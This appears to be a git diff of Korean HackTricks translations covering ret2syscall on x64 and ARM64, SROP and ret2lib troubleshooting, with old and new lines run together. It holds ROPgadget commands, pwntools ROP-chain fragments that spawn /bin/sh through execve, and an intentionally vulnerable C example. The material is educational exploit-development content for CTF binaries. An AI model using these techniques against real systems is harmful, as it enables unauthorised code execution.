* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -206,27 +207,27 @@ P.interactive() #Interact with your shell :)
## 일반적인 문제 ## 일반적인 문제
### MAIN_PLT = elf.symbols\['main']를 찾을 수 없음 ### MAIN\_PLT = elf.symbols\['main']을() 찾을 수 없음
"main" 심볼이 존재하지 않는 경우 (아마도 이진 파일이 스트립되었기 때문일 것입니다). 그럼 main 코드가 어디에 있는지 찾을 수 있습니다: "main" 심볼이 존재하지 않는 경우(아마도 스트립된 바이너리 때문입니다). 그러면 메인 코드가 어디에 있는지 찾으면 됩니다:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
그리고 주소를 수동으로 설정하십시오: 그리고 주소를 수동으로 설정합니다:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Puts를 찾을 수 없음 ### Puts not found
만약 이진 파일이 Puts를 사용하지 않는다면 **사용하는지 확인**해야 합니다. 이진 파일이 Puts를 사용하지 않는 경우 **사용하고 있는지 확인해야 합니다.**
### `sh: 1: %s%s%s%s%s%s%s%s: 찾을 수 없음` ### `sh: 1: %s%s%s%s%s%s%s%s: not found`
모든 exploit을 생성한 후에 이 **에러**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: 찾을 수 없음` 모든 익스플로잇을 생성한 후 **이 오류**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
**"/bin/sh" 주소에서 64바이트를 빼보세요**: **"/bin/sh" 주소에서 64바이트를 빼보세요:**
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong>!</summary> <summary>HackTricks 지원하기</summary>
다른 방법으로 HackTricks를 지원하는 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 웸하면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# Ret2syscall # Ret2syscall
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
## 기본 정보
이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 일부 인수로 `/bin/sh`를 실행하기 위해 모든 것이 준비될 것입니다. 이 기술은 일반적으로 정적으로 컴파일된 이진 파일에서 수행되므로 많은 가젯과 시스템 호출 명령이 있을 수 있습니다.
**시스템 호출**을 준비하기 위해 다음 구성이 필요합니다:
* `rax: 59 sys_execve 지정`
* `rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정`
* `rsi: 0 전달된 인수 없음 지정`
* `rdx: 0 전달된 환경 변수 없음 지정`
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그런 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려하여). 이를 위해 알려진 영역에 `/bin/sh`를 쓸 수 있는 가젯이 필요합니다.
{% hint style="success" %}
호출할 다른 흥미로운 시스템 호출은 **`mprotect`**이며, 이를 통해 공격자가 **메모리의 페이지 권한을 수정**할 수 있습니다. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합할 수 있습니다.
{% endhint %} {% endhint %}
## 레지스터 가젯 ## Basic Information
**레지스터를 제어하는 방법**을 찾아봅시다: 이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리의 함수를 호출하지 않습니다. 이 경우, 모든 것이 `/bin/sh`를 실행하기 위해 몇 가지 인수와 함께 `sys_execve` 시스템 호출을 호출하도록 준비됩니다. 이 기술은 일반적으로 정적으로 컴파일된 바이너리에서 수행되므로, 많은 가젯과 시스템 호출 명령어가 있을 수 있습니다.
**syscall** 호출을 준비하기 위해 다음과 같은 구성이 필요합니다:
* `rax: 59 sys_execve 지정`
* `rdi: "/bin/sh"에 대한 포인터, 실행할 파일 지정`
* `rsi: 0, 전달된 인수 없음 지정`
* `rdx: 0, 전달된 환경 변수 없음 지정`
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 작성한 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 인식해야 함). 이를 위해, 알려진 영역에 `/bin/sh`를 작성할 수 있는 가젯이 필요합니다.
{% hint style="success" %}
또 다른 흥미로운 시스템 호출은 **`mprotect`**로, 이는 공격자가 **메모리의 페이지 권한을 수정할 수 있게 해줍니다**. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합될 수 있습니다.
{% endhint %}
## Register gadgets
**이 레지스터들을 제어하는 방법**을 찾는 것부터 시작합시다:
```bash ```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret 0x0000000000415664 : pop rax ; ret
@ -41,13 +42,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret 0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret 0x00000000004498b5 : pop rdx ; ret
``` ```
이 주소들을 사용하면 **스택에 내용을 작성하고 레지스터로 로드**할 수 있습니다. 이 주소들을 사용하**스택의 내용을 작성하고 레지스터에 로드할 수 있습니다**.
## 문자열 작성 ## 문자열 쓰기
### 쓰기 가능한 메모리 ### 쓰기 가능한 메모리
먼저 메모리에서 쓰기 가능한 위치를 찾아야 합니다. 먼저 메모리에서 쓰기 가능한 장소를 찾아야 합니다.
```bash ```bash
gef> vmmap gef> vmmap
[ Legend: Code | Heap | Stack ] [ Legend: Code | Heap | Stack ]
@ -56,16 +57,16 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
``` ```
### 메모리에 문자열 작성 ### 메모리에 문자열 쓰기
그런 다음이 주소에 임의의 내용을 작성하는 방법을 찾아야합니다. 그런 다음 이 주소에 임의의 내용을 쓸 수 있는 방법을 찾아야 합니다.
```python ```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
``` ```
### ROP 체인 자동화 ### ROP 체인 자동화
다음 명령어는 쓰기-무엇을-어디에 가젯과 시스콜 명령어가 있는 정적 이진 파일에서 완전한 `sys_execve` ROP 체인을 생성합니다: 다음 명령은 쓰기-무엇-어디에 가젯과 시스템 호출 명령이 있을 때 정적 바이너리를 기반으로 전체 `sys_execve` ROP 체인을 생성합니다:
```bash ```bash
ROPgadget --binary vuln --ropchain ROPgadget --binary vuln --ropchain
``` ```
@ -107,13 +108,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += writeGadget #Address to: mov qword ptr [rax], rdx
``` ```
## 부족한 가젯 ## Gadgets 부족
만약 메모리에 `/bin/sh`를 작성할 가젯이 **부족한 경우**, 스택에서 **모든 레지스터 값(포함하여 RIP 및 매개변수 레지스터)을 제어하기 위해 SROP 기술을 사용**할 수 있습니다: 만약 **가젯이 부족하다면**, 예를 들어 메모리에 `/bin/sh`를 쓰기 위해, 스택에서 모든 레지스터 값(RIP 및 파라미터 레지스터 포함)을 제어하기 위해 **SROP 기법을 사용할 수 있습니다**:
{% content-ref url="../srop-sigreturn-oriented-programming/" %} {% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/) [srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %} {% endcontent-ref %}
## 익스플로잇 예시
```python ```python
from pwn import * from pwn import *
@ -183,8 +186,23 @@ target.interactive()
## 다른 예제 및 참고자료 ## 다른 예제 및 참고자료
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 비트, PIE 없음, nx, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다. * 64비트, PIE 없음, nx, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 비트, nx, PIE 없음, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다. 수학 연산을 수행하는 함수를 스택에 쓰기 위해 남용됩니다. * 64비트, nx, PIE 없음, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다. 스택에 쓰기 위해 수학 연산을 수행하는 함수를 악용합니다.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 비트, PIE 없음, nx, BF 캐너리, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다. * 64비트, PIE 없음, nx, BF 카나리, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,26 +1,33 @@
# Ret2syscall - ARM64 # Ret2syscall - ARM64
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 제출하세요.
</details> </details>
{% endhint %}
[arm64 기본 어셈블리](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)에서 arm64에 대한 소개를 찾을 수 있습니다. arm64에 대한 소개는 다음에서 확인하세요:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## 코드 ## 코드
다음 페이지의 예제를 사용할 것입니다: 우리는 다음 페이지의 예제를 사용할 것입니다:
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md) [ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
{% endcontent-ref %}
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -39,20 +46,23 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
파이(Pie)와 캐너리(Canary) 없이 컴파일하기: Compile without pie and canary:
```markdown
PIE와 카나리 없이 컴파일:
```
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector clang -o ret2win ret2win.c -fno-stack-protector
``` ```
## 가젯 ## Gadgets
**syscall** 호출하기 위해 다음 구성이 필요합니다: **syscall** 호출을 준비하기 위해 다음 구성이 필요합니다:
- `x8: 221 sys_execve 지정` * `x8: 221 sys_execve 지정`
- `x0: "/bin/sh"의 포인터 실행할 파일 지정` * `x0: "/bin/sh"에 대한 포인터, 실행할 파일 지정`
- `x1: 0 전달된 인수 없음 지정` * `x1: 0, 전달된 인수 없음 지정`
- `x2: 0 전달된 환경 변수 없음 지정` * `x2: 0, 전달된 환경 변수 없음 지정`
ROPgadget.py를 사용하여 기계의 libc 라이브러리에서 다음 가젯을 찾을 수 있었습니다: ROPgadget.py를 사용하여 머신의 libc 라이브러리에서 다음과 같은 가젯을 찾을 수 있었습니다:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```armasm ```armasm
@ -73,10 +83,10 @@ svc #0
``` ```
{% endcode %} {% endcode %}
이전 가젯을 사용하여 스택에서 필요한 모든 레지스터를 제어하고 x5를 사용하여 시스템 호출을 호출하기 위해 두 번째 가젯으로 이동할 수 있습니다. 이전 가젯을 사용하여 스택에서 필요한 모든 레지스터를 제어하고 x5를 사용하여 두 번째 가젯으로 점프하여 syscall을 호출할 수 있습니다.
{% hint style="success" %} {% hint style="success" %}
libc 라이브러리에서 이 정보를 알면 ret2libc 공격도 수행할 수 있지만, 이 예제에서는 이를 사용하겠습니다. libc 라이브러리의 이 정보를 아는 것은 ret2libc 공격을 수행할 수 있게 해주지만, 현재 예제에서는 이를 사용합시다.
{% endhint %} {% endhint %}
### Exploit ### Exploit
@ -128,16 +138,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 제로부터 영웅이 되는 AWS 해킹 배우기</summary> <summary>HackTricks 지원하</summary>
다른 방법으로 HackTricks를 지원하는 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# SROP - 시그리턴 지향 프로그래밍 # SROP - Sigreturn-Oriented Programming
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
## 기본 정보
**`Sigreturn`**은 주로 **시그널 핸들러**가 실행을 완료한 후 정리하는 데 사용되는 특수한 **시스템 호출**입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 종종 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하고 시그널을 처리하기 위해 설계된 **시그널 핸들러**라는 특수 함수를 사용합니다.
시그널 핸들러가 완료되면 프로그램은 아무 일도 일어나지 않은 것처럼 **이전 상태로 복귀**해야 합니다. 이때 **`sigreturn`**이 필요합니다. 이는 프로그램이 **시그널 핸들러에서 반환**하고 시그널 핸들러에서 사용된 **스택 프레임**(함수 호출 및 로컬 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
흥미로운 점은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: **CPU의 모든 레지스터 값을 스택에 저장**합니다. 시그널이 더 이상 차단되지 않으면 **`sigreturn`이 이러한 값을 스택에서 팝**하여 CPU의 레지스터를 효과적으로 시그널 처리 전의 상태로 재설정합니다. 이는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)를 포함합니다.
{% hint style="danger" %}
ROP 체인에서 **`sigreturn`** 시스템 호출을 호출하고 **스택**에 로드하려는 레지스터 값을 추가함으로써 모든 레지스터 값을 **제어**하고 따라서 예를 들어 `/bin/sh`를 사용하여 `execve` 시스템 호출을 호출할 수 있습니다.
{% endhint %} {% endhint %}
이는 다른 Ret2syscall을 호출할 때 매개변수를 제어하기가 훨씬 쉬운 **Ret2syscall 유형**일 것임을 유의하세요: ## Basic Information
**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, **신호 처리기**라는 신호를 처리하기 위해 설계된 특별한 함수로 신호를 처리하기 위해 현재 작업을 일시 중지합니다.
신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀해야** 합니다. 여기서 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
흥미로운 점은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: 이는 **모든 CPU의 레지스터 값을 스택에 저장**함으로써 이루어집니다. 신호가 더 이상 차단되지 않으면, **`sigreturn`은 이 값을 스택에서 팝**하여 CPU의 레지스터를 신호가 처리되기 전의 상태로 효과적으로 재설정합니다. 여기에는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)가 포함됩니다.
{% hint style="danger" %}
ROP 체인에서 **`sigreturn`** syscall을 호출하고 **로드하고 싶은 레지스터 값을 추가**하면, 모든 레지스터 값을 **제어**할 수 있으며 따라서 예를 들어 `/bin/sh``execve` syscall을 **호출**할 수 있습니다.
{% endhint %}
이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 일종**이라는 점에 유의하십시오:
{% content-ref url="../rop-syscall-execv/" %} {% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/) [rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %} {% endcontent-ref %}
호기심이 있다면 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조**를 확인하세요(여기서 다이어그램 참조: [**here**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)): 궁금하다면, 이는 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조체**입니다 (다이어그램은 [**여기**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)에서 확인할 수 있습니다):
``` ```
+--------------------+--------------------+ +--------------------+--------------------+
